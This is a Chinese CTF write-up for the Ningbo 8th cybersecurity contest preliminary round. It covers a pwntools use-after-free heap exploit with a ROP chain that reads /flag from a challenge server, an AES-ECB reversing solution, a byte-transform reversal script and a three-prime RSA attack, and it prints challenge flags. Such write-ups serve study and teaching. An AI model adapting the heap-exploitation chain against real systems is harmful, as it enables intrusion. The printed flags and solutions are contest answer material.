宁波市第八届网络安全大赛初赛Writeup

admin 2026-05-11 08:29:39 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分享宁波市第八届网络安全大赛初赛Writeup,涵盖PWN题(UAF漏洞利用获取flag)和REVERSE题(AES加密破解及逆向分析),提及AI在逆向和密码题中的高效表现但Web/Misc题仍需人工处理,团队最终排名波动但预计晋级决赛,提供详细技术实现代码和GitHub资源。 综合评分: 77 文章分类: CTF,逆向分析,漏洞分析,WEB安全,红队


cover_image

宁波市第八届网络安全大赛初赛Writeup

赛查查

2026年5月7日 10:54 北京

在小说阅读器读本章

去阅读

以下文章来源于听涛客 ,作者Tajang

听涛客 .

杂食主义者

公众号文章没有代码折叠,文章里部分代码几百行,建议博客阅读:https://h4cker.zip/post/b12f02/

今天上午初赛结束了,感谢两个队友带,「dr0n」「Rot-will」

槽点有点多,比如几个题AI秒出,我觉得以后出题都要反AI了,可能就留一个签到题AI能做,如果反AI,可能我真啥都不会了

AI这东西做逆向和密码非常厉害,逆向读伪代码和分析加解密,而这正是LLMs擅长的理解能力。做Web和Misc不太行,因为这两个用到的工具和环境太多。

两个WEB都是平平无奇登陆框,都做不出来,给的hint也做不出来,但是闲鱼一把梭。。。

两个杂项也古怪,队友做麻了,什么二维码小点点、博多密码,rgb转换之类

还有,我们做完4题已经第三名了,其他实在做不出来,就算其他队伍跟我们做一样的题,我们有前三血,那也应该排前面

但是最后三十分钟,我们连掉三十多名,我刷新一下掉一名,他们全都爆发了,不过应该能进决赛

部分附件在:https://github.com/TajangSec/Ningbo-8th-CSC-Pre

PWN

entity_cache

存在uaf

from pwn import *
import LibcSearcher
def add(ind,size,data=b'\n'):
    p.sendlineafter(b'Code: ',b'1')
    p.sendlineafter(b'id >',str(ind).encode())
    p.sendlineafter(b'size >',str(size).encode())
    p.sendafter(b'fragment >',data)

def edit(ind,data):
    p.sendlineafter(b'Code: ',b'2')
    p.sendlineafter(b'id >',str(ind).encode())
    p.sendafter(b'stream >',data)

def free(ind):
    p.sendlineafter(b'Code: ',b'3')
    p.sendlineafter(b'id >',str(ind).encode())

def show(ind):
    p.sendlineafter(b'Code: ',b'4')
    p.sendlineafter(b'id > ',str(ind).encode())

#p=process('entity_cache')
p=remote('139.155.126.78','26428')
p.readuntil('[DEBUG INFO]')
e=ELF('./entity_cache')
libc=ELF('./libc.so')
e.address=int(p.readline(),16)-0xa1a
print(hex(e.address))

syscall=e.address+0xbcc
add(0,0xf0)
add(1,0xf0)
add(2,0xf0,'flag')
add(3,0xf0,'/flag')
free(0)
free(1)
show(1)
heap0=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
print(hex(heap0))
heap3=heap0+0x100*3
heap2=heap0+0x100*2

edit(1,p64(e.address+0x202060))
add(4,0xf0)
add(5,0xf0) # cache
edit(5,p64(e.got['puts']))
show(0)
puts=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
print(hex(puts))
libc.address=puts-libc.symbols['puts']
env=libc.symbols['environ']

edit(5,p64(env))
show(0)
stack=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00')[:8])
print(hex(stack))
edit(5,p64(stack-0x120+8*2))
show(0)
stack1=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00')[:8])
print(hex(stack1))

main_stack=stack-0x120+8*2
edit(5,p64(main_stack))
#gdb.attach(p)
pause()

rdi=0x000000000002164f+libc.address
rsi=0x0000000000023a6a+libc.address
rdx=0x0000000000001b96+libc.address
rax=0x000000000001b500+libc.address
payload=b""
payload=p64(rax)+p64(2)+p64(rdi)+p64(heap3)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(syscall)
payload+=p64(rax)+p64(0)+p64(rdi)+p64(3)+p64(rsi)+p64(heap2)+p64(rdx)+p64(0x50)+p64(syscall)
payload+=p64(rax)+p64(1)+p64(rdi)+p64(1)+p64(rsi)+p64(heap2)+p64(rdx)+p64(0x50)+p64(syscall)
print(hex(len(payload)))
edit(0,payload)

p.interactive()

REVERSE

SEA_1

我不太会逆向,AI告诉我这是AES_ECB

其他选手说,贴在claude desktop或者vscode 的mcp里面,AI秒出,自己根本不用动

伪代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t i; // [esp+190h] [ebp-268h]
int v5[72]; // [esp+19Ch] [ebp-25Ch] BYREF
char v6[44]; // [esp+2BCh] [ebp-13Ch] BYREF
char Buf1[136]; // [esp+2E8h] [ebp-110h] BYREF
char Str[132]; // [esp+370h] [ebp-88h] BYREF

  __CheckForDebuggerJustMyCode(&unk_45A019);
memset(Str, 0, 0x80u);
memset(Buf1, 0, 0x80u);
  sub_401E00("Please input the flag and I will verify it: ");
  sub_401E70("%128s", Str);
strcpy(v6, "58453eec4d16ae234a10b597dfe1f6a6");
if ( sub_4016B0(v5, v6, 256) )
    return-1;
for&nbsp;( i =&nbsp;0; i <&nbsp;strlen(Str); i +=&nbsp;16&nbsp;)
&nbsp; {
&nbsp; &nbsp;&nbsp;if&nbsp;( sub_401410((int)v5, (int)&Buf1[i], &Str[i]) )
&nbsp; &nbsp; &nbsp;&nbsp;return-1;
&nbsp; }
if&nbsp;( !memcmp(Buf1, &unk_458014,&nbsp;0x30u) )
&nbsp; &nbsp; sub_401E00("Right flag!\n");
else
&nbsp; &nbsp; sub_401E00("Wrong flag\n");
return0;
}

AES加密,密钥是58453eec4d16ae234a10b597dfe1f6a6,密文是unk_458014,dump出来是29708f1980cce40f46abac148d488ca83716fe1d397202797b1999166265623e8f761285cb28e256b381167761e41094

cyberchef解开:DASCTF{75aab2560274ae21aa4554b993e658d1}

flower_world

&nbsp; 97704D -= 120;
&nbsp; 977070 ^= 0x4Fu;
&nbsp; 977055 -= 30;
&nbsp; 977064 -= 93;
&nbsp; 977048 += 95;
&nbsp; 97704A += 103;
&nbsp; 97705C ^= 0x82u;
&nbsp; 977069 += 52;
&nbsp; 97705E ^= 3u;
&nbsp; 977041 += 71;
&nbsp; 977076 ^= 0xE0u;
&nbsp; 97706D -= 44;
&nbsp; 977044 -= 127;
&nbsp; 977075 -= 71;
&nbsp; 977060 ^= 0xAAu;
&nbsp; 97704E -= 119;
&nbsp; 977062 ^= 0xAu;
&nbsp; 97707D -= 48;
&nbsp; 977075 += 55;
&nbsp; 97705B += 111;
&nbsp; 97706E ^= 0x32u;
&nbsp; 97706C -= 92;
&nbsp; 97705F ^= 0x29u;
&nbsp; 977041 += 79;
&nbsp; 97704A += 58;
&nbsp; 977062 -= 17;
&nbsp; 97705A += 123;
&nbsp; 977075 -= 100;
&nbsp; 97705C -= 64;
&nbsp; 977056 -= 89;
&nbsp; 977070 ^= 0x73u;
&nbsp; 977062 ^= 0x61u;
&nbsp; 97706E += 118;
&nbsp; 977062 += 41;
&nbsp; 977070 += 78;
&nbsp; 977055 -= 11;
&nbsp; 97704F ^= 0x5Eu;
&nbsp; 977070 ^= 0xB2u;
&nbsp; 977066 -= 66;
&nbsp; 977046 ^= 0xECu;
&nbsp; 977062 ^= 0xD1u;
&nbsp; 977046 -= 99;
&nbsp; 977069 -= 49;
&nbsp; 977046 += 32;
&nbsp; 977066 += 61;
&nbsp; 977042 ^= 0x42u;
&nbsp; 977055 += 109;
&nbsp; 977070 += 14;
&nbsp; 97707B -= 52;
&nbsp; 97706E -= 94;
&nbsp; 977074 += 57;
&nbsp; 97705D -= 30;
&nbsp; 97705E -= 107;
&nbsp; 977048 += 55;
&nbsp; 97704C -= 27;
&nbsp; 97706F -= 88;
&nbsp; 97707A -= 105;
&nbsp; 977040 += 25;
&nbsp; 97704C += 73;
&nbsp; 97706F -= 80;
&nbsp; 977070 += 125;
&nbsp; 97706E -= 44;
&nbsp; 97707A += 11;
&nbsp; 977068 ^= 0x57u;
&nbsp; 977062 += 117;
&nbsp; 977056 += 92;
&nbsp; 97705B ^= 0x7Au;
&nbsp; 977043 += 33;
&nbsp; 977045 ^= 0xC3u;
&nbsp; 97705E += 19;
&nbsp; 977064 -= 46;
&nbsp; 977065 -= 45;
&nbsp; 977067 ^= 0xB0u;
&nbsp; 97704F -= 69;
&nbsp; 977061 ^= 0xDCu;
&nbsp; 977046 += 69;
&nbsp; 97707E += 116;
&nbsp; 97704B ^= 0x22u;
&nbsp; 977063 ^= 0x7Eu;
&nbsp; 977054 += 18;
&nbsp; 977072 -= 11;
&nbsp; 97704E ^= 5u;
&nbsp; 97706E += 58;
&nbsp; 977048 += 44;
&nbsp; 97706D ^= 0xE4u;
&nbsp; 977068 -= 30;
&nbsp; 977063 += 96;
&nbsp; 977047 -= 49;
&nbsp; 977062 += 83;
&nbsp; 97707A += 53;
&nbsp; 97706A ^= 0x21u;
&nbsp; 97707C += 49;
&nbsp; 97705B += 11;
&nbsp; 977070 -= 105;
&nbsp; 977063 -= 47;
&nbsp; 977073 -= 67;
&nbsp; 977047 += 94;
&nbsp; 97707E += 78;
&nbsp; 97704F -= 96;
&nbsp; 97707A ^= 0xD3u;
&nbsp; 977043 += 115;
&nbsp; 97705E -= 127;
&nbsp; 97707A -= 86;
&nbsp; 977074 += 32;
&nbsp; 977067 ^= 0x5Cu;
&nbsp; 977049 -= 64;
&nbsp; 97706B ^= 0x8Eu;
&nbsp; 97707E += 121;
&nbsp; 977054 -= 98;
&nbsp; 977074 ^= 0x22u;
&nbsp; 97704F -= 12;
&nbsp; 977045 ^= 0x2Du;
&nbsp; 97707C -= 44;
&nbsp; 97704D -= 74;
&nbsp; 977061 ^= 0x82u;
&nbsp; 977068 ^= 0xEDu;
&nbsp; 977071 ^= 0xBEu;
&nbsp; 977077 += 4;
&nbsp; 97705E -= 120;
&nbsp; 97704B += 67;
&nbsp; 977072 -= 52;
&nbsp; 977042 ^= 0x87u;
&nbsp; 977067 -= 38;
&nbsp; 97707B ^= 0xFAu;
&nbsp; 977072 += 90;
&nbsp; 97706E -= 9;
&nbsp; 977077 ^= 0x2Fu;
&nbsp; 977049 += 83;
&nbsp; 97706B ^= 0xD6u;
&nbsp; 977062 -= 6;
&nbsp; 977048 -= 119;
&nbsp; 977061 -= 118;
&nbsp; 977062 -= 75;
&nbsp; 977068 -= 52;
&nbsp; 977040 -= 108;
&nbsp; 97706A += 28;
&nbsp; 97707C ^= 0x4Cu;
&nbsp; 97706C ^= 0x4Au;
&nbsp; 977061 ^= 0xFDu;
&nbsp; 977063 += 125;
&nbsp; 977041 ^= 0x6Cu;
&nbsp; 977075 += 25;
&nbsp; 977071 -= 7;
&nbsp; 97707D -= 119;
&nbsp; 97706F -= 16;
&nbsp; 977064 += 53;
&nbsp; 977066 ^= 0x56u;
&nbsp; 977042 ^= 0xF2u;
&nbsp; 97706B += 115;
&nbsp; 977055 -= 37;
&nbsp; 977072 -= 51;
&nbsp; 977041 -= 107;
&nbsp; 97704F -= 116;
&nbsp; 97705C += 46;
&nbsp; 977065 -= 67;
&nbsp; 97704C += 113;
&nbsp; 977061 += 114;
&nbsp; 97704E += 69;
&nbsp; 977060 += 99;
&nbsp; 977064 ^= 0x88u;
&nbsp; 977079 -= 37;
&nbsp; 97705E ^= 0x76u;
&nbsp; 977070 += 95;
&nbsp; 97707A += 51;
&nbsp; 977074 ^= 0xD3u;
&nbsp; 97704F -= 86;
&nbsp; 977040 -= 6;
&nbsp; 97707C -= 8;
&nbsp; 977071 ^= 0x30u;
&nbsp; 97705B += 29;
&nbsp; 977070 += 65;
&nbsp; 97705D ^= 0xEEu;
&nbsp; 977047 -= 31;
&nbsp; 977061 -= 16;
&nbsp; 977071 += 9;
&nbsp; 977064 -= 46;
&nbsp; 977049 ^= 0xDEu;
&nbsp; 977054 ^= 0x6Du;
&nbsp; 977065 -= 91;
&nbsp; 977077 += 119;
&nbsp; 97707D -= 8;
&nbsp; --977061;
&nbsp; 977075 += 124;
&nbsp; 977068 += 3;
&nbsp; 977059 -= 22;
&nbsp; 977060 ^= 0xD3u;
&nbsp; 977072 ^= 0xA4u;
&nbsp; 977040 ^= 0xA8u;
&nbsp; 97707F += 50;
&nbsp; 97707E ^= 0x4Du;
&nbsp; 977070 += 60;
&nbsp; 97704B += 49;
&nbsp; 97707B += 3;
&nbsp; 97706A -= 20;
&nbsp; 977060 -= 38;
&nbsp; 977063 -= 2;
&nbsp; 97707B -= 108;
&nbsp; 97707E -= 71;
&nbsp; 97706E += 111;
&nbsp; 977040 ^= 0xD9u;
&nbsp; 97704E += 76;
&nbsp; 97706F ^= 0xF6u;
&nbsp; 97705B += 26;
&nbsp; 977040 -= 27;
&nbsp; 977060 -= 80;
&nbsp; 977078 -= 27;
&nbsp; 97705B += 7;
&nbsp; ++977073;
&nbsp; 977075 ^= 0xDDu;
&nbsp; 977043 -= 127;
&nbsp; 977072 += 116;
&nbsp; 977069 -= 70;
&nbsp; 977065 ^= 0x9Bu;
&nbsp; 977059 -= 34;
&nbsp; 97704B -= 127;
&nbsp; 97707F ^= 0xBu;
&nbsp; 977058 -= 65;
&nbsp; 97704B ^= 0x83u;
&nbsp; 977059 ^= 0xB6u;
&nbsp; 977067 -= 25;
&nbsp; 977042 -= 94;
&nbsp; 977061 ^= 0x7Eu;
&nbsp; 977072 -= 69;
&nbsp; 977077 -= 72;
&nbsp; 977060 ^= 0xF7u;
&nbsp; 977043 -= 11;
&nbsp; 977069 ^= 0x64u;
&nbsp; 977075 ^= 0xEu;
&nbsp; 977073 -= 111;
&nbsp; 977065 ^= 0x7Au;
&nbsp; 97706B -= 7;
&nbsp; 977060 += 103;
&nbsp; 97707D ^= 0xF4u;
&nbsp; 977077 += 16;
&nbsp; 97705C ^= 0x89u;
&nbsp; 977041 -= 20;
&nbsp; 97707A ^= 0x3Fu;
&nbsp; 97704D -= 31;
&nbsp; 977073 += 98;
&nbsp; 977073 -= 5;
&nbsp; 977061 -= 30;
&nbsp; 97704C += 73;
&nbsp; 977054 -= 6;
&nbsp; 977071 ^= 0x56u;
&nbsp; 97705B ^= 3u;
&nbsp; 977055 -= 119;
&nbsp; 97706D += 37;
&nbsp; 97705E += 4;
&nbsp; 977044 -= 48;
&nbsp; 977076 ^= 0xF4u;
&nbsp; 977053 ^= 0x10u;
&nbsp; 977059 ^= 0x47u;
&nbsp; 977060 ^= 0xE2u;
&nbsp; 97704E -= 16;
&nbsp; 97705E ^= 0xD2u;
&nbsp; 977042 += 70;
&nbsp; 977060 -= 91;
&nbsp; 977041 ^= 0x12u;
&nbsp; 977042 -= 81;
&nbsp; 977047 += 92;
&nbsp; 977055 -= 77;
&nbsp; 97705D ^= 0x7Du;
&nbsp; 977070 ^= 0x4Au;
&nbsp; 977074 -= 25;
&nbsp; 977074 -= 127;
&nbsp; 97704B += 121;
&nbsp; 97706C += 64;
&nbsp; 97707A ^= 0x58u;
&nbsp; 97704B -= 123;
&nbsp; 977078 += 42;
&nbsp; 977071 -= 89;
&nbsp; 97707E ^= 0x99u;
&nbsp; 977043 -= 6;
&nbsp; 977045 ^= 0x7Du;
&nbsp; 977042 -= 14;
&nbsp; 977064 += 96;
&nbsp; 977058 += 26;
&nbsp; 97706E += 54;
&nbsp; 977052 -= 86;
&nbsp; 97705D ^= 0x4Eu;
&nbsp; 977055 -= 15;
&nbsp; 977078 -= 32;
&nbsp; 977057 += 75;
&nbsp; 97706E += 66;
&nbsp; 977053 += 101;
&nbsp; 97705E -= 59;
&nbsp; 97706B ^= 0xFAu;
&nbsp; 977042 += 93;
&nbsp; 977073 -= 123;
&nbsp; 97707C += 31;
&nbsp; 977064 ^= 0xA2u;
&nbsp; 977073 -= 32;
&nbsp; 97705A ^= 0x11u;
&nbsp; 97707D += 121;
&nbsp; 977074 -= 99;
&nbsp; 977054 ^= 0x68u;
&nbsp; 97706D -= 75;
&nbsp; 977041 -= 117;
&nbsp; 977043 += 92;
&nbsp; 977041 += 88;
&nbsp; 97704D -= 4;
&nbsp; 977052 ^= 0x43u;
&nbsp; 97704B += 8;
&nbsp; 97706A -= 82;
&nbsp; 977055 += 56;
&nbsp; 977049 += 43;
&nbsp; 977075 ^= 0xD1u;
&nbsp; 97705D ^= 0x1Bu;
&nbsp; 977052 -= 74;
&nbsp; 97707B -= 104;
&nbsp; 977073 -= 6;
&nbsp; 977053 -= 120;
&nbsp; 977043 -= 6;
&nbsp; 977069 -= 2;
&nbsp; 97705E ^= 0xFEu;
&nbsp; 97707E ^= 0x45u;
&nbsp; 977052 += 5;
&nbsp; 977068 ^= 0x36u;
&nbsp; 977051 -= 42;
&nbsp; 977050 ^= 0xD6u;

d=open('1.txt').read().splitlines()
data=[ 0x7F, 0x11, 0x4A, 0x9D, 0xA5, 0xD5, 0x99, 0x9F, 0xAC, 0xD3,
&nbsp; 0xD4, 0xBC, 0x1A, 0x53, 0x46, 0xF4, 0xE7, 0x37, 0x03, 0x60,
&nbsp; 0x17, 0xBA, 0x67, 0xAC, 0x09, 0xDA, 0xA0, 0xFB, 0x2D, 0x8E,
&nbsp; 0xCB, 0x11, 0x02, 0xC4, 0x17, 0xF7, 0x1B, 0x8F, 0x67, 0x52]
e={}
base=0x977040
def parse_int(s):
&nbsp; if '0x' in s:
&nbsp; &nbsp; return int(s,16)
&nbsp; else:
&nbsp; &nbsp; return int(s)
for i in d:
&nbsp; i=i.strip().strip(';')

&nbsp; if '-' in i:
&nbsp; &nbsp; if ('--' in i):
&nbsp; &nbsp; &nbsp; value=1
&nbsp; &nbsp; &nbsp; addr=int(i.strip('-'),16)-base
&nbsp; &nbsp; else:
&nbsp; &nbsp; &nbsp; value=parse_int(i.split('-=')[1].strip(';u'))
&nbsp; &nbsp; &nbsp; addr=int(i.split()[0],16)-base
&nbsp; &nbsp; state=0
&nbsp; elif '^' in i:
&nbsp; &nbsp; value=parse_int(i.split('^=')[1].strip(';u'))
&nbsp; &nbsp; addr=int(i.split()[0],16)-base
&nbsp; &nbsp; state=1
&nbsp; elif '+' in i:
&nbsp; &nbsp; if ('++' in i):
&nbsp; &nbsp; &nbsp; value=1
&nbsp; &nbsp; &nbsp; addr=int(i.strip('+'),16)-base
&nbsp; &nbsp; else:
&nbsp; &nbsp; &nbsp; value=parse_int(i.split('+=')[1].strip(';u'))
&nbsp; &nbsp; &nbsp; addr=int(i.split()[0],16)-base
&nbsp; &nbsp; state=2
&nbsp; else:
&nbsp; &nbsp; continue
&nbsp; if (e.get(addr)==None):
&nbsp; &nbsp; e[addr]=[]
&nbsp; e[addr].append((state,value))

print(e[0])
for i in e:
&nbsp; if i>=len(data):
&nbsp; &nbsp; continue
&nbsp; for state,value in e[i][::-1]:
&nbsp; &nbsp; # print(state,value)
&nbsp; &nbsp; if state==0:
&nbsp; &nbsp; &nbsp; data[i]+=value
&nbsp; &nbsp; elif state==1:
&nbsp; &nbsp; &nbsp; data[i]^=value
&nbsp; &nbsp; elif state==2:
&nbsp; &nbsp; &nbsp; data[i]-=value
&nbsp; &nbsp; data[i]=data[i]&0xff
print(bytes(data))

CRYPTO

Three-prime RSA

https://chatgpt.com/share/68a14d43-ab10-800b-bbee-7e4511dfaaea

AI太猛了

从 r_cubed 恢复 r

r = int(round(r_cubed ** (1/3)))

从 D 中恢复 (p+q+r) 和 random_num 题目中 random_num 是一个 28 位质数,p+q+r 大约 512~514 位。因为 (p+q+r)*random_num < n,所以 D 没有取模的影响:

random_num =&nbsp;254766409&nbsp;&nbsp;# 可通过简单分解D得到
s = D // random_num &nbsp; &nbsp;&nbsp;# 得到 s = p + q + r

求p+q

p_plus_q = s - r

解一元二次方程得到 p 和 q 方程:x^2 - (p+q)x + p*q = 0

from&nbsp;sympy&nbsp;import&nbsp;symbols, solve
x = symbols('x')
sols = solve(x**2&nbsp;- p_plus_q*x + pq, x)
p, q = int(sols[0]), int(sols[1])

计算 d 并解密

from&nbsp;Crypto.Util.number&nbsp;import&nbsp;long_to_bytes, inverse
e =&nbsp;65537
d = inverse(e, (p-1)*(q-1)*(r-1))
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)

DASCTF{5521a971-9bed-11ef-bfda-14ac6024b6a8}


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛查查 《宁波市第八届网络安全大赛初赛Writeup》

评论:0   参与:  0